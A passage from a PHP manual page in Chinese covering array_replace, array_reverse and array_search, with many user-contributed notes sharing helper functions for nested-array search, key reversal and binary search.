[I would also like to note] that if you want to add a single dimensional array to a multi, all you must do is pass the matching internal array key from the multi as the initial argument as such:

<?php
$array1 = array( "berries" => array( "strawberry" => array( "color" => "red", "food" => "desserts"), "dewberry" = array( "color" => "dark violet", "food" => "pies"), );

$array2 = array( "food" => "wine");

$array1["berries"]["dewberry"] = polecat_array_replace($array1["berries"]["dewberry"], $array2);
?>

This is will replace the value for "food" for "dewberry" with "wine".

The function will also do the reverse and add a multi to a single dimensional array or even a 2 tier array to a 5 tier as long as the heirarchy tree is identical.

I hope this helps atleast one person for all that I've gained from this site.
polecat at p0lecat dot com 29-Nov-2010 09:57
I would like to add to my previous note about my polecat_array_replace function that if you want to add a single dimensional array to a multi, all you must do is pass the matching internal array key from the multi as the initial argument as such:

$array1 = array( "berries" => array( "strawberry" => array( "color" => "red", "food" => "desserts"), "dewberry" = array( "color" => "dark violet", "food" => "pies"), );

$array2 = array( "food" => "wine");

$array1["berries"]["dewberry"] = polecat_array_replace($array1["berries"]["dewberry"], $array2);

This is will replace the value for "food" for "dewberry" with "wine".

The function will also do the reverse and add a multi to a single dimensional array or even a 2 tier array to a 5 tier as long as the heirarchy tree is identical.

I hope this helps atleast one person for all that I've gained from this site.
mail at romansklenar dot cz 10-Dec-2009 07:01
To get exactly same result like in PHP 5.3, the foreach loop in your code should look like:

<?php
...
$count = func_num_args();

for ($i = 1; $i < $count; $i++) {
   ...
}
...
?>

Check on this code:

<?php
$base = array('id' => NULL, 'login' => NULL, 'credit' => NULL);
$arr1 = array('id' => 2, 'login' => NULL, 'credit' => 5);
$arr2 = array('id' => NULL, 'login' => 'john.doe', 'credit' => 100);
$result = array_replace($base, $arr1, $arr2);

/*
correct output:

array(3) {
   "id" => NULL
   "login" => string(8) "john.doe"
   "credit" => int(100)
}

your output:

array(3) {
   "id" => int(2)
   "login" => NULL
   "credit" => int(5)
}
*/
?>

Function array_replace "replaces elements from passed arrays into the first array" -- this means replace from top-right to first, then from top-right - 1 to first, etc, etc...
tufan dot oezduman at googlemail dot com 06-Nov-2009 04:19
a little enhancement to dyer85 at gmail dot com's function below:
<?php
if (!function_exists('array_replace'))
{
  function array_replace( array &$array, array &$array1, $filterEmpty=false )
  {
    $args = func_get_args();
    $count = func_num_args()-1;

    for ($i = 0; $i < $count; ++$i) {
      if (is_array($args[$i])) {
        foreach ($args[$i] as $key => $val) {
            if ($filterEmpty && empty($val)) continue;
            $array[$key] = $val;
        }
      }
      else {
        trigger_error(
          __FUNCTION__ . '(): Argument #' . ($i+1) . ' is not an array',
          E_USER_WARNING
        );
        return NULL;
      }
    }

    return $array;
  }
}
?>

this will allow you to "tetris-like" merge arrays:

<?php

$a= array(
    0 => "foo",
    1 => "",
    2 => "baz"
);
$b= array(
    0 => "",
    1 => "bar",
    2 => ""
);

print_r(array_replace($a,$b, true));

?>
results in:
Array
(
    [0] => foo
    [1] => bar
    [2] => baz
)


返回单元顺序相反的数组

  • ? array_replace
  • array_search ?
  • PHP Manual
  • 数组 函数
  • 返回单元顺序相反的数组

array_reverse

(PHP 4, PHP 5, PHP 7)

array_reverse — 返回单元顺序相反的数组

说明

array_reverse ( array $array [, bool $preserve_keys = FALSE ] ) : array

array_reverse() 接受数组 array 作为输入并返回一个单元为相反顺序的新数组。

参数

array

输入的数组。

preserve_keys

如果设置为 TRUE 会保留数字的键。 非数字的键则不受这个设置的影响，总是会被保留。

返回值

返回反转后的数组。

范例

Example #1 array_reverse() 例子

<?php
$input  = array("php", 4.0, array("green", "red"));
$reversed = array_reverse($input);
$preserved = array_reverse($input, true);

print_r($input);
print_r($reversed);
print_r($preserved);
?>

以上例程会输出：

Array
(
    [0] => php
    [1] => 4
    [2] => Array
        (
            [0] => green
            [1] => red
        )

)
Array
(
    [0] => Array
        (
            [0] => green
            [1] => red
        )

    [1] => 4
    [2] => php
)
Array
(
    [2] => Array
        (
            [0] => green
            [1] => red
        )

    [1] => 4
    [0] => php
)

参见

  • array_flip() - 交换数组中的键和值

User Contributed Notes

atulmvAThotmailDOTcoDOTuk 29-Aug-2012 11:48
Here are a couple of routines to swap the order of two elements in an array

<?php

function array_swap_forward($arr,$elem)
{
$ndx = array_search($elem,$arr) - 1;
$b4 = array_slice($arr,0,$ndx);
$mid = array_reverse(array_slice($arr,$ndx,2));
$after = array_slice($arr,$ndx + 2);

return array_merge($b4,$mid,$after);
}

function array_swap_back($arr,$elem)
{
$ndx = array_search($elem,$arr);
$b4 = array_slice($arr,0,$ndx);
$mid = array_reverse(array_slice($arr,$ndx,2));
$after = array_slice($arr,$ndx + 2);

return array_merge($b4,$mid,$after);
}

$arr =array('a','b','c','d','e','f');
print_r(array_swap_forward($arr,'c'));
echo '<br>';
print_r(array_swap_back($arr,'c'));
?>
alfbennett at gmail dot com 06-Apr-2010 01:41
Needed to just reverse keys. Don't flog me if there is a better way. This was a simple solution.

<?php
function array_reverse_keys($ar){
    return array_reverse(array_reverse($ar,true),false);
}
?>
rahulavhad at yahoo dot com 29-Dec-2000 08:31
This code can help in recursive reversing of the array...

<?php
$arr1 = array(2,1,array(5,2,1,array(9,8,7)),5,0);
$arr1 = array_reverse($arr1);

function Reverse_Array($array)
{    $index = 0;
    foreach ($array as $subarray)
    {    if (is_array($subarray))
        {    $subarray = array_reverse($subarray);
            $arr = Reverse_Array($subarray);
            $array[$index] = $arr;
        }
        else {$array[$index] = $subarray;}
        $index++;
    }
    return $array;
}

$arr2 = Reverse_Array($arr1);
?>


在数组中搜索给定的值，如果成功则返回首个相应的键名

  • ? array_reverse
  • array_shift ?
  • PHP Manual
  • 数组 函数
  • 在数组中搜索给定的值，如果成功则返回首个相应的键名

array_search

(PHP 4 >= 4.0.5, PHP 5, PHP 7)

array_search — 在数组中搜索给定的值，如果成功则返回首个相应的键名

说明

array_search ( mixed $needle , array $haystack [, bool $strict = false ] ) : mixed

大海捞针，在大海（haystack）中搜索针（ needle 参数）。

参数

needle

搜索的值。

Note:

如果 needle 是字符串，则比较以区分大小写的方式进行。

haystack

这个数组。

strict

如果可选的第三个参数 strict 为 TRUE，则 array_search() 将在 haystack 中检查完全相同的元素。 这意味着同样严格比较 haystack 里 needle 的 类型，并且对象需是同一个实例。

返回值

如果找到了 needle 则返回它的键，否则返回 FALSE。

如果 needle 在 haystack 中出现不止一次，则返回第一个匹配的键。要返回所有匹配值的键，应该用 array_keys() 加上可选参数 search_value 来代替。

Warning

此函数可能返回布尔值 FALSE，但也可能返回等同于 FALSE 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

更新日志

版本 | 说明
5.3.0 | As with all internal PHP functions as of 5.3.0, array_search() returns NULL if invalid parameters are passed to it.

范例

Example #1 array_search() 例子

<?php
$array = array(0 => 'blue', 1 => 'red', 2 => 'green', 3 => 'red');

$key = array_search('green', $array); // $key = 2;
$key = array_search('red', $array);   // $key = 1;
?>

参见

  • array_keys() - 返回数组中部分的或所有的键名
  • array_values() - 返回数组中所有的值
  • array_key_exists() - 检查数组里是否有指定的键名或索引
  • in_array() - 检查数组中是否存在某个值

User Contributed Notes

David Spector 10-Aug-2019 11:16
For data lookups that are fast in both directions (key to value, value to key), consider storing and updating both the array and its array_flip() version.
David Spector 10-Aug-2019 11:15
The fastest way to search for a cached value, to find if there is a cycle in your data, to see if a given program state has occurred before, to see whether a value is in a set and then adding it, and for so many similar tasks, is just to do an array dereference:

    $Key=$SomeStateString1.'|'.$SomeStateString2; // State can have multiple substates
    if (@$StateSet[$Key]) // or use isset()
        ; // The key already exists: do optional processing here
    else
        ; // The key does not yet exist: do optional processing here
    $StateSet[$Key]=1; // Store state existence (or store associated data values)
pvv at renam dot md 17-Jan-2019 08:12
About searcing in multi-dimentional arrays;
note on "xfoxawy at gmail dot com" and turabgarip at gmail dot com;

$xx = array_column($array, 'NAME', 'ID');
will produce an array like :
 $xx = [
[ID_val] => NAME_val
[ID_val] => NAME_val
        ]

so:

$yy = array_search('tesxt', array_column($array, 'NAME', 'ID'));
will output expected ID;
venkatesh dot ksnadar at gmail dot com 06-Nov-2018 11:49
you need to be careful if you are using array_search() with unset() for deleting a value in the searched indexed

// wrong way
$checked = ["1", "2", "3"]; // array with numbers in double quotes

unset($checked[array_search('on', $checked)]); // this deletes value at 0 index

// array_search returns mixed data type, which means any type of data will be returned
// in the above case it returned false and false is type casted to 0
// so it deletes the value at index zero

the point to say is never use array_search() with unset() while deleting a value in an array using index.
Anonymous 06-Jul-2018 02:11
to search in multi dimensional array:

  you can simply use:

    $array=[
                  2=>['id'=>3,'num'=>4],
                  6=>['id'=>1,'num'=>7],
                  8=>['id'=>5,'num'=>9],
                 ];
    sort($array);
    $key=array_search(1,array_column($array,'id');

    THAN YOU CAN SEE:

    printf($key);                                                          //output:2
    printf($array[$key])                                              //output:['id'=>1,'num'=>7]
grayaahammed at gmail dot com 17-May-2018 12:47
this is for searching a value inside a multidimontionnal array, and then return the parent of the parent array that holds the value.

function recursive_array_search($needle,$haystack) {
    foreach($haystack as $key=>$value) {
        $current_key=$key;
        if($needle===$value OR (is_array($value) && recursive_array_search($needle,$value))) {
            return $haystack[$key];
        }
    }
    return false;
}
miguelserranocabeza at gmail dot com 18-Apr-2018 10:56
For multiarray values i got this solution ;)

$taxonomy = array(
    array('index' => array('AU200_AUD','CN50_USD')),
    array('mt' => array('XAG_GBP','XAG_HKD','XAU_GBP','XAU_HKD','XAU_JPY')),
    array('aud' => array('AUD_CAD','AUD_CHF','AUD_HKD','AUD_JPY','AUD_NZD','AUD_SGD','AUD_USD')),
    array('cad' => array('CAD_CHF','CAD_HKD','CAD_JPY','CAD_SGD','CHF_HKD','CHF_JPY','CHF_ZAR')),
    array('eur' => array('EUR_AUD','EUR_CAD','EUR_CHF','EUR_NOK','EUR_NZD','EUR_PLN','EUR_ZAR')),
    array('gbp' => array('GBP_AUD','GBP_CAD','GBP_CHF','GBP_USD','GBP_ZAR')),
    array('hkd' => array('HKD_JPY')),
    array('nzd' => array('NZD_CAD','NZD_CHF','NZD_HKD','NZD_JPY','NZD_SGD','NZD_USD')),
    array('sgd' => array('SGD_CHF','SGD_HKD','SGD_JPY')),
    array('try' => array('TRY_JPY')),
    array('usd' => array('USD_CAD','USD_CHF','USD_CNH','USD_SGD','USD_THB','USD_TRY','USD_ZAR')),
    array('zar' => array('ZAR_JPY')),
  );

  foreach ($taxonomies as $key => $tax) {
    foreach ($tax as $value) {
      if(array_search('SGD_HKD', $value)) $taxonomy = key($tax);
    }
  }
echo($taxonomy); // this print "sgd"
webmaster at jaimemontoya dot com 27-Feb-2018 03:24
Concerning how this function may return Boolean FALSE and the use of the === operator for testing the return value of this function, see this example:

$foundKey = array_search(12345, $myArray);
if(!isset($foundKey)){
    // If $myArray is null, then $foundKey will be null too.
    // Do something when both $myArray and $foundKey are null.
} elseif ($foundKey===false) {
    // $myArray is not null, but 12345 was not found in the $myArray array.
}else{
    // 12345 was found in the $myArray array.
}
Xriuk 10-Feb-2018 11:52
Be careful when search for indexes from array_keys() if you have a mixed associative array it will return both strings and integers resulting in comparison errors

<?php
// This syntax is allowed by PHP
$arr = array(
  "nice",
  "car" => "fast",
  "none"
);

// Print the keys
var_dump(array_keys($arr));

/* The above prints this, as you can see we have mixed keys
array(3) {
  [0]=>
  int(0)
  [1]=>
  string(3) "car"
  [2]=>
  int(1)
}
*/

// Search for the index "car"
var_dump(array_search("car", array_keys($arr))); // Prints "int(0)" which is WRONG
?>

This happens because PHP, when comparing strings and integers, casts strings TO integers and this results in most of the cases in string becoming 0, so that's why when array_search() compares the first index (0) with the key "car" it gets true because apparently ("car" == 0) IS TRUE.
Setting array_search() to strict mode won't solve the problem because then array_search("0", array_keys($arr)) would return false even if an element with index 0 exists.
So my solution just converts all indexes from array_keys() to strings and then compares them correctly:

<?php
var_dump(array_search("car", array_map("strval", array_keys($arr)))); // Prints "int(1)" which is CORRECT
?>
thinbegin at gmail dot com 18-Jan-2018 10:18
Despite PHP's amazing assortment of array functions and juggling maneuvers, I found myself needing a way to get the FULL array key mapping to a specific value. This function does that, and returns an array of the appropriate keys to get to said (first) value occurrence.

function array_recursive_search_key_map($needle, $haystack) {
    foreach($haystack as $first_level_key=>$value) {
        if ($needle === $value) {
            return array($first_level_key);
        } elseif (is_array($value)) {
            $callback = array_recursive_search_key_map($needle, $value);
            if ($callback) {
                return array_merge(array($first_level_key), $callback);
            }
        }
    }
    return false;
}

usage example:
-------------------

$nested_array = $sample_array = array(
    'a' => array(
        'one' => array ('aaa' => 'apple', 'bbb' => 'berry', 'ccc' => 'cantalope'),
        'two' => array ('ddd' => 'dog', 'eee' => 'elephant', 'fff' => 'fox')
    ),
    'b' => array(
        'three' => array ('ggg' => 'glad', 'hhh' => 'happy', 'iii' => 'insane'),
        'four' => array ('jjj' => 'jim', 'kkk' => 'kim', 'lll' => 'liam')
    ),
    'c' => array(
        'five' => array ('mmm' => 'mow', 'nnn' => 'no', 'ooo' => 'ohh'),
        'six' => array ('ppp' => 'pidgeon', 'qqq' => 'quail', 'rrr' => 'rooster')
    )
);

$search_value = 'insane';

$array_keymap = array_recursive_search_key_map($search_value, $nested_array);

var_dump($array_keymap);
// Outputs:
// array(3) {
// [0]=>
//  string(1) "b"
//  [1]=>
//  string(5) "three"
//  [2]=>
//  string(3) "iii"
//}

----------------------------------------------

But again, with the above solution, PHP again falls short on how to dynamically access a specific element's value within the nested array. For that, I wrote a 2nd function to pull the value that was mapped above.

function array_get_nested_value($keymap, $array)
{
    $nest_depth = sizeof($keymap);
    $value = $array;
    for ($i = 0; $i < $nest_depth; $i++) {
        $value = $value[$keymap[$i]];
    }

    return $value;
}

usage example:
-------------------
echo array_get_nested_value($array_keymap, $nested_array);   // insane
t-fav 19-Oct-2017 01:20
Noted some interesting behaviour when using array_search to find the correct index in an array containing an index with a value of 0.

The following works as expected.

<?php

$dataSet = [];
$dataSet[] = ['name' => 'Row A', 'items' => ['ItemA' => 1, 'ItemB' => 2]];
$dataSet[] = ['name' => 'Row B', 'items' => ['ItemA' => 1, 'ItemB' => 2]];

$rows = [];
foreach ($dataSet as $dataRow) {
    $row = [
        $dataRow['name'],
        'ItemA',
        'ItemB'
    ];

    foreach ($dataRow['items'] as $key => $value) {
        $index = array_search($key, $row);
        $row[$index] = $value;
    }

    $rows[] = $row;
}

print_r($rows);

It returns:

Array
(
    [0] => Array
        (
            [0] => Row A
            [1] => 1
            [2] => 2
        )
    [1] => Array
        (
            [0] => Row B
            [1] => 1
            [2] => 2
        )
)

However, the following seems to totally ignore the index containing the value 0 and thus returns the wrong index.

<?php

$dataSet = [];
$dataSet[] = ['name' => 'Row A', 'items' => ['ItemA' => 1, 'ItemB' => 2]];
$dataSet[] = ['name' => 'Row B', 'items' => ['ItemA' => 0, 'ItemB' => 2]];

$rows = [];
foreach ($dataSet as $dataRow) {
    $row = [
        $dataRow['name'],
        'ItemA',
        'ItemB'
    ];

    foreach ($dataRow['items'] as $key => $value) {
        $index = array_search($key, $row);
        $row[$index] = $value;
    }

    $rows[] = $row;
}

print_r($rows);

It returns:

Array
(
    [0] => Array
        (
            [0] => Row A
            [1] => 1
            [2] => 2
        )
    [1] => Array
        (
            [0] => Row B
            [1] => 2
            [2] => ItemB
        )
)

However, setting ItemA's value on Row B to '' or false works fine. Also, passing in the third optional parameter [, bool $strict = true ] works correctly as well. Is this intentional behaviour?
justeme at sina dot com 25-Jul-2017 08:42
/*
Be careful!!!
when i in php7.1.5
below program return int 0
is it a bug?
*/
array_search(0,['a','b','c'])
mohamedn085 at gmail dot com 20-Jun-2017 04:59
Mohamed Nabil

hallo every body This function matches two arrays like
search an array like another or not  array_match which can match

function array_match($arr1,$arr2,$highlevel=false)
{

   $keys1=array_keys($arr1);
   $keys2=array_keys($arr2);

   $values1=array_values($arr1);
   $values2=array_values($arr2);

     if ($highlevel)
     {

     if ($keys1 === $keys2 && $values1 === $values2)
     {

         return true;

     }
       return false;
     }

     if ($keys1 == $keys2 && $values1 == $values2)
     {

         return true;

     }
       return false;

}
 var_dump(array_match(['id'=>'1','username'=>'2'],['id'=>'1','username'=>2]));
  //Output:true

 var_dump(array_match(['id'=>'1','username'=>'2'],['id'=>'1','username'=>2],true));
 //Output:false
tammander at gmail dot com 06-Apr-2017 04:45
/**
 * Search into multidimensional array all ocurrences of $needle
 *
 * @param String   $needle  value to find
 * @param Array    $arr     multidimensional array where find
 *
 * @return Array            empty array or array of parent keys where found
 *
 */
function search_value_in($needle, $arr)
{
    $result = [];
    $found = 0;
    if (is_array($arr)) {
        foreach ($arr as $in) {
            if (is_array($in)) {
               if (array_search($needle, $in) !== false) {
                   $result[] = $found;
               }
            }
            $found++;
        }
    }
    return $result;
}
turabgarip at gmail dot com 10-Mar-2017 03:04
About searcing in multi-dimentional arrays; two notes on "xfoxawy at gmail dot com";

It perfectly searches through multi-dimentional arrays combined with array_column() (min php 5.5.0) but it may not return the values you'd expect.

<?php array_search($needle, array_column($array, 'key')); ?>

Since array_column() will produce a resulting array; it won't preserve your multi-dimentional array's keys. So if you check against your keys, it will fail.

For example;

<?php
$people = array(
  2 => array(
    'name' => 'John',
    'fav_color' => 'green'
  ),
  5=> array(
    'name' => 'Samuel',
    'fav_color' => 'blue'
  )
);

$found_key = array_search('blue', array_column($people, 'fav_color'));
?>

Here, you could expect that the $found_key would be "5" but it's NOT. It will be 1. Since it's the second element of the produced array by the array_column() function.

Secondly, if your array is big, I would recommend you to first assign a new variable so that it wouldn't call array_column() for each element it searches. For a better performance, you could do;

<?php
$colors = array_column($people, 'fav_color');
$found_key = array_search('blue', $colors);
?>
stocki dot r at gmail dot com 11-Oct-2016 08:26
Be careful, PHP will cast float keys to integers:
nl1.php.net/manual/en/language.types.array.php

<?php
$array = array(
    0.9 => 'abc'
);
$key = array_search('abc', $array); // $key = 0;
?>

Use string keys instead:

<?php
$array = array(
    '0.9' => 'abc'
);
$key = array_search('abc', $array); // $key = '0.9';
?>
hyder7nh at gmail dot com 23-Dec-2015 08:34
When using array_search in if statements with array elements that use integers for keys, if the key [0] matches, the statement would always return false.

This is because array_search returns the key of the value that matches with the first argument. If statements check if the return value is true or false(boolean), 0 is boolean for false.

This problem shouldn't occur with key names that are strings.

<?php

//$f would be 0, because key [0] matches the first argument
$f = array_search('photo', array('photo', 'audio'));

//$f statement would fall to else condition because $f is 0 and 0 is false
if($f==true)
{
    echo 'found<br/>';
}
else
{
    echo 'not found<br/>';
}

if(array_search('photo', array('photo')))
{
    echo 'FOUND';
}
else
{
    echo 'NOT FOUND';
}

Use the === operator to get around this problem.
maciej at speccode dot com 18-Aug-2015 05:58
FYI, remember that strict mode is something that might save you hours.

If you're searching for a string and you have a "true" boolean on the way - you will get it as result (first occurrence). Example below:

<?php

$arr = [
    'foo'    => 'bar',
    'abc'    => 'def',
    'bool'   => true,
    'target' => 'xyz'
];

var_dump( array_search( 'xyz', $arr ) ); //bool
var_dump( array_search( 'xyz', $arr, true ) ); //target

?>
superbueno at gmail dot com 30-Apr-2015 11:19
Like many others, === failed for a 0-indexed occurrence.  My solution was to test if an integer returned:

if ( is_int ( array_search($value, $array) ) ) return true;
xfoxawy at gmail dot com 02-Feb-2015 11:30
in (PHP 5 >= 5.5.0) you don't have to write your own function to search through a multi dimensional array

ex :

$userdb=Array
(
    (0) => Array
        (
            (uid) => '100',
            (name) => 'Sandra Shush',
            (url) => 'urlof100'
        ),

    (1) => Array
        (
            (uid) => '5465',
            (name) => 'Stefanie Mcmohn',
            (pic_square) => 'urlof100'
        ),

    (2) => Array
        (
            (uid) => '40489',
            (name) => 'Michael',
            (pic_square) => 'urlof40489'
        )
);

simply u can use this

$key = array_search(40489, array_column($userdb, 'uid'));
nan at designpromote dot co dot uk 16-Jan-2015 04:45
$array = ['a', 'b', 'c'];
$key = array_search('a', $array); //$key = 0
if ($key)
{
//even a element is found in array, but if (0) means false
//...
}

//the correct way
if (false !== $key)
{
//....
}

It's what the document stated "may also return a non-Boolean value which evaluates to FALSE."
podarokua at gmail dot com 17-Oct-2014 04:45
Here is a method for getting all keys, containing searched value, recursively

  /**
   * Recursive array search.
   *
   * See http://php.net/manual/en/function.array-search.php#91365
   *
   * @param $needle
   *   The searched value.
   * @param $haystack
   *   The array.
   *
   * @return bool|int|string
   *   Array of keys, containing values or FALSE if not found.
   */
  private function ras($needle, $haystack) {
    $keys = array();
    foreach ($haystack as $key => $value) {
      if ($needle === $value OR (is_array($value) && $this->ras(
            $needle,
            $value
          ) !== FALSE)
      ) {
        $keys[] = $key;
      }
    }
    if (!empty($keys)) {
      return $keys;
    }

    return FALSE;
  }
marvin dot petker at borntocreate dot de 05-Sep-2014 04:08
Be aware of using array_search() in conditional statements.

$foo = array("one", "two");
if( $key = array_search("one", $foo) ){
  echo "Found";
}
else{
  echo "Not found";
}
//Ouput: Not found

"Not found" will be outputted beacause the returned key is 0 and that will be interpreted as false in conditional statements.
dk at danilok dot com 21-Aug-2014 06:26
I needed a way to return the value of a single specific key, thus:

<?php

function recursive_return_array_value_by_key($needle, $haystack){
    $return = false;
    foreach($haystack as $key => $val){
        if(is_array($val)){
            $return = recursive_return_array_value_by_key($needle, $val);
        }
        else if($needle === $key){
            return "$val\n";
        }
    }
    return $return;
}

?>
rAthur 02-Apr-2014 08:35
If you're not running an older version of PHP (many servers are still on PHP 5.3), you can replace the function by this :

<?php

function s($needle,$array)
{
    foreach($array as $key => $value)
        if ($value==$needle)
        return $key;
    return false;
}

echo s( 'c', array('a', 'b', 'c', 'd') ); // returns 2
echo s( 'f', array('a', 'b', 'c', 'd') ); // returns false

?>
sunelbe at gmail dot com 21-Sep-2012 12:19
hey i have a easy multidimensional array search function

<?php
function search($array, $key, $value)
{
    $results = array();

    if (is_array($array))
    {
        if (isset($array[$key]) && $array[$key] == $value)
            $results[] = $array;

        foreach ($array as $subarray)
            $results = array_merge($results, search($subarray, $key, $value));
    }

    return $results;
}
?>
sneskid at hotmail dot com 15-Mar-2012 08:50
I had an array of arrays and needed to find the key of an element by comparing actual reference.
Beware that even with strict equality (===) php will equate arrays via their elements recursively, not by a simple internal pointer check as with class objects. The === can be slow for massive arrays and also crash if they contain circular references.

This function performs reference sniffing in order to return the key for an element that is exactly a reference of needle.

<?php
function array_ref_search(&$v, array &$s)
{
    if(is_object($v)){ return array_search($v, $s, true); }
    foreach($s as $rK => &$rV)
    { // reference sniff
        $tV = $v;
        if( ($rV === ($v = 1)) && ($rV === ($v = 0)) ){
        $v = $tV; return $rK; }
        $v = $tV;
    }
    return false; // use null for php < 4.2.0
}

$list   = array();
$list['A'] = &$valA; $list['B'] = &$valB;

$valA = 1; $valB = 1;
echo 'array_ref_search: ', array_ref_search($valB, $list), '</br>'; // key 'B'
echo 'array_search:     ', array_search($valB, $list, true), '</br>'; // key 'A'

$valA = array(1,2,3); $valB = array(1,2,3);
echo 'array_ref_search: ', array_ref_search($valB, $list), '</br>'; // key 'B'
echo 'array_search:     ', array_search($valB, $list, true), '</br>'; // key 'A' because ($valA === $valB) is true by elements

$valB[] = &$valB; // circular reference
echo 'array_ref_search: ', array_ref_search($valB, $list), '</br>'; // key 'B'
echo 'array_search:     ', array_search($valB, $list, true), '</br>'; // crash because ($valB === $valB) causes infinite loop
?>
revoke 11-Oct-2011 04:12
Better solution of multidimensional searching.

<?php
function multidimensional_search($parents, $searched) {
  if (empty($searched) || empty($parents)) {
    return false;
  }

  foreach ($parents as $key => $value) {
    $exists = true;
    foreach ($searched as $skey => $svalue) {
      $exists = ($exists && IsSet($parents[$key][$skey]) && $parents[$key][$skey] == $svalue);
    }
    if($exists){ return $key; }
  }

  return false;
}

$parents = array();
$parents[] = array('date'=>1320883200, 'uid'=>3);
$parents[] = array('date'=>1320883200, 'uid'=>5);
$parents[] = array('date'=>1318204800, 'uid'=>5);

echo multidimensional_search($parents, array('date'=>1320883200, 'uid'=>5)); // 1
?>
stooshie at gmail dot com 06-Oct-2011 02:51
Example of a recursive binary search that returns the index rather than boolean.
<?php
// returns the index of needle in haystack
function binSearch($needle, $haystack)
{
    // n is only needed if counting depth of search
    global $n;
    $n++;
    // get the length of passed array
    $l = count($haystack);
    // if length is 0, problem
    if($l <= 0)
    {
        return -1;
    }
    // get the mid element
    $m = (($l+($l%2))/2);
    // if mid >= length (e.g. l=1)
    if($m >= $l)
    {
        $m = $m-1;
    }
    // get the indexed element to compare to the passed element and branch accordingly
    $compare = $haystack[$m];
    switch(true)
    {
        case($compare>$needle):
        {
            // recurse on the lower half
            $new_haystack = array_slice($haystack, 0, $m);
            $c = count($new_haystack);
            $r = binSearch($needle, $new_haystack);
            // return current index - (length of lower half - found index in lower half)
            return $m - ($c - $r);
            break;
        }
        case($compare<$needle):
        {
            // recurse on the upper half
            $new_haystack = array_slice($haystack, $m, ($l-$m));
            $c = count($new_haystack);
            $r = binSearch($needle, $new_haystack);
            // return current position + found index in upper half
            return $m + $r;
            break;
        }
        case($compare==$needle):
        {
            // found it, so return index
            return $m;
            break;
        }
    }
}
?>
Dave C 27-Sep-2011 01:18
Here is a version of binary search that is done via recursion instead of iteration.  Remember that your data needs to be presorted!

<?php
static function Bin_Search(&$needle, &$haystack, $start, $end) {
        if($end < $start)
        {
            return false;
        }

        $mid = (int)(($end - $start) / 2) + $start;

        if($haystack[$mid] > $needle)
        {
            return Bin_Search($needle, $haystack, $start, $mid - 1);
        }
        else if($haystack[$mid] < $needle)
        {
            return Bin_Search($needle, $haystack, $mid + 1, $end);
        }
        else
        {
            return true;
        }
}
?>
stefano@takys dot it 14-Jan-2011 01:58
for searching case insensitive better this:

<?php
array_search(strtolower($element),array_map('strtolower',$array));
?>
robert at robert-gonzalez dot com 22-Sep-2010 12:15
I needed a way to find the parent hierarchy of a multidimensional array. Being the rogue that I am, I got to coding before searching the manual and came up with two little functions that will return a parent stack for a first find and a complete parent stack, similar in nature to the solution presented by jette at nerdgirl dot dk without all the extra stuff or use of eval(). ;)

<?php
/**
 * Gets the parent stack of a string array element if it is found within the
 * parent array
 *
 * This will not search objects within an array, though I suspect you could
 * tweak it easily enough to do that
 *
 * @param string $child The string array element to search for
 * @param array $stack The stack to search within for the child
 * @return array An array containing the parent stack for the child if found,
 *               false otherwise
 */
function getParentStack($child, $stack) {
    foreach ($stack as $k => $v) {
        if (is_array($v)) {
            // If the current element of the array is an array, recurse it and capture the return
            $return = getParentStack($child, $v);

            // If the return is an array, stack it and return it
            if (is_array($return)) {
                return array($k => $return);
            }
        } else {
            // Since we are not on an array, compare directly
            if ($v == $child) {
                // And if we match, stack it and return it
                return array($k => $child);
            }
        }
    }

    // Return false since there was nothing found
    return false;
}

/**
 * Gets the complete parent stack of a string array element if it is found
 * within the parent array
 *
 * This will not search objects within an array, though I suspect you could
 * tweak it easily enough to do that
 *
 * @param string $child The string array element to search for
 * @param array $stack The stack to search within for the child
 * @return array An array containing the parent stack for the child if found,
 *               false otherwise
 */
function getParentStackComplete($child, $stack) {
    $return = array();
    foreach ($stack as $k => $v) {
        if (is_array($v)) {
            // If the current element of the array is an array, recurse it
            // and capture the return stack
            $stack = getParentStackComplete($child, $v);

            // If the return stack is an array, add it to the return
            if (is_array($stack) && !empty($stack)) {
                $return[$k] = $stack;
            }
        } else {
            // Since we are not on an array, compare directly
            if ($v == $child) {
                // And if we match, stack it and return it
                $return[$k] = $child;
            }
        }
    }

    // Return the stack
    return empty($return) ? false: $return;
}

// TESTING
$array = array(
    'balloon' => array(
        'red' => array(1 => 'Love', 'Valentine', 'Heart',),
        'green' => array(1 => 'Summertime', 'Hope',),
    ),
    'ribbon' => array(
        'yellow' => array(2 => 'Welcome',),
        'red' => array(3 => 'Love', 'Love',),
    ),
);

$s = getParentStack('Love', $array);
$c = getParentStackComplete('Love', $array);
var_dump($s, $c);
?>

Output:

array
  'balloon' =>
    array
      'red' =>
        array
          1 => string 'Love' (length=4)

array
  'balloon' =>
    array
      'red' =>
        array
          1 => string 'Love' (length=4)
  'ribbon' =>
    array
      'red' =>
        array
          3 => string 'Love' (length=4)
          4 => string 'Love' (length=4)
codeslinger at compsalot dot com 02-Oct-2009 12:22
one thing to be very aware of is that array_search() will fail if the needle is a string and the array itself contains values that are mixture of numbers and strings.  (or even a string that looks like a number)

The problem is that unless you specify "strict" the match is done using ==    and in that case any string will match a numeric value of zero which is not what you want.

-----

also, php can lookup an index pretty darn fast.  for many scenarios, it is practical to maintain multiple arrays, one in which the index of the array is the search key and the normal array that contains the data.

<?php

  $normal[$index] = array('key'=>$key, 'data'=>'foo');
  $inverse[$key] = $index;

  //very fast lookup, this beats any other kind of search

  if (array_key_exists($key, $inverse))
  {
    $index = $inverse[$key];
    return $normal[$index];
  }

?>
temporal dot pl at gmail dot com 04-Sep-2009 03:57
Sometimes you need to find a given value in a sorted array or - if not found - detect the place where it should be. After that you can for example split the array into two halves, the  greater and the smaller one.

greenmr, dennis.decoene and php at celerondude had all posted very good binary search functions but these functions all return false if the needle was not found in the haystack. I've tweaked greenmr's code a little:

<?php
function Array_BinarySearch( $needle, $haystack, $comparator , &$probe )
{
    $high = Count( $haystack ) -1;
    $low = 0;

    while ( $high >= $low )
    {
        $probe = Floor( ( $high + $low ) / 2 );
        $comparison = $comparator( $haystack[$probe], $needle );
        if ( $comparison < 0 )
        {
            $low = $probe +1;
        }
        elseif ( $comparison > 0 )
        {
            $high = $probe -1;
        }
        else
        {
            return true;
        }
    }
    //The loop ended without a match
    //Compensate for needle greater than highest haystack element
    if($comparator($haystack[count($haystack)-1], $needle) < 0)
    {
        $probe = count($haystack);
    }
    return false;
}
?>

Now, the function returns true if it finds something and false otherwise. If a needle was found, then $probe will contain it's position. Otherwise, $probe will contain position of where the needle would be if it were there :). This is possible because we pass $probe by reference.

Example:

<?php
//ultra-simple comparator :)
